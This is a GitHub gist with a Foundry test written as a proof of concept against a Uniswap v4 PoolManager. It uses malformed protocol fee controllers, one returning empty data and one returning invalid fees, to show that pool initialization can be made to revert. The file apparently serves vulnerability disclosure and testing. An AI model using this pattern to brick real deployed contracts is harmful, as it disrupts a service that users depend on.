Skip to content

Instantly share code, notes, and snippets.

@Philogy
Last active June 13, 2023 14:56
Show Gist options
  • Save Philogy/6a7e4360a677cb38b477542d94222bc5 to your computer and use it in GitHub Desktop.
Save Philogy/6a7e4360a677cb38b477542d94222bc5 to your computer and use it in GitHub Desktop.
Uniswap Brick Initialize PoC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {IHooks} from "../../contracts/interfaces/IHooks.sol";
import {Hooks} from "../../contracts/libraries/Hooks.sol";
import {IPoolManager} from "../../contracts/interfaces/IPoolManager.sol";
import {IProtocolFeeController} from "../../contracts/interfaces/IProtocolFeeController.sol";
import {PoolManager} from "../../contracts/PoolManager.sol";
import {PoolDonateTest} from "../../contracts/test/PoolDonateTest.sol";
import {TickMath} from "../../contracts/libraries/TickMath.sol";
import {Pool} from "../../contracts/libraries/Pool.sol";
import {Deployers} from "./utils/Deployers.sol";
import {TokenFixture} from "./utils/TokenFixture.sol";
import {PoolModifyPositionTest} from "../../contracts/test/PoolModifyPositionTest.sol";
import {Currency, CurrencyLibrary} from "../../contracts/libraries/CurrencyLibrary.sol";
import {MockERC20} from "./utils/MockERC20.sol";
import {MockHooks} from "../../contracts/test/MockHooks.sol";
import {MockContract} from "../../contracts/test/MockContract.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {EmptyTestHooks} from "../../contracts/test/EmptyTestHooks.sol";
import {BalanceDelta} from "../../contracts/types/BalanceDelta.sol";
import {PoolSwapTest} from "../../contracts/test/PoolSwapTest.sol";
import {GasSnapshot} from "forge-gas-snapshot/GasSnapshot.sol";
import {PoolLockTest} from "../../contracts/test/PoolLockTest.sol";
import {PoolId} from "../../contracts/libraries/PoolId.sol";
import {ProtocolFeeControllerTest} from "../../contracts/test/ProtocolFeeControllerTest.sol";
import {Fees} from "../../contracts/libraries/Fees.sol";
contract BadFeeController1 is IProtocolFeeController {
function protocolFeesForPool(IPoolManager.PoolKey memory) external view returns (uint8, uint8) {
assembly {
return(0, 0)
}
}
}
contract BadFeeController2 is IProtocolFeeController {
function protocolFeesForPool(IPoolManager.PoolKey memory) external view returns (uint8, uint8) {
// Return invalid fees.
return (1, 1);
}
}
contract GoodController is IProtocolFeeController {
function protocolFeesForPool(IPoolManager.PoolKey memory) external view returns (uint8, uint8) {
// Return invalid fees.
return (4, 4);
}
}
/// @author philogy <https://github.com/philogy>
contract BrickInitializeTest is Test, Deployers, TokenFixture, GasSnapshot {
using Hooks for IHooks;
using Pool for Pool.State;
using PoolId for IPoolManager.PoolKey;
using Fees for uint24;
address owner = makeAddr("BAD_OWNER");
function testCanBrick() public {
vm.prank(owner);
PoolManager manager = createFreshManager();
BadFeeController1 controller1 = new BadFeeController1();
BadFeeController2 controller2 = new BadFeeController2();
GoodController goodController = new GoodController();
// Normal initialize works without issues
manager.initialize(_createKey(100, 10), SQRT_RATIO_1_1);
vm.prank(owner);
manager.setProtocolFeeController(controller1);
// Ideally shouldn't revert but gracefully fallback to no fee.
vm.expectRevert();
manager.initialize(_createKey(101, 10), SQRT_RATIO_1_1);
vm.prank(owner);
// Ideally shouldn't revert but gracefully fallback to no fee.
manager.setProtocolFeeController(controller2);
vm.expectRevert();
manager.initialize(_createKey(102, 10), SQRT_RATIO_1_1);
vm.prank(owner);
manager.setProtocolFeeController(goodController);
// Works with good controller
manager.initialize(_createKey(103, 10), SQRT_RATIO_1_1);
}
function _createKey(uint24 fee, int24 tickSpacing) internal returns (IPoolManager.PoolKey memory) {
return IPoolManager.PoolKey({
currency0: currency0,
currency1: currency1,
fee: fee,
hooks: IHooks(address(0)),
tickSpacing: tickSpacing
});
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment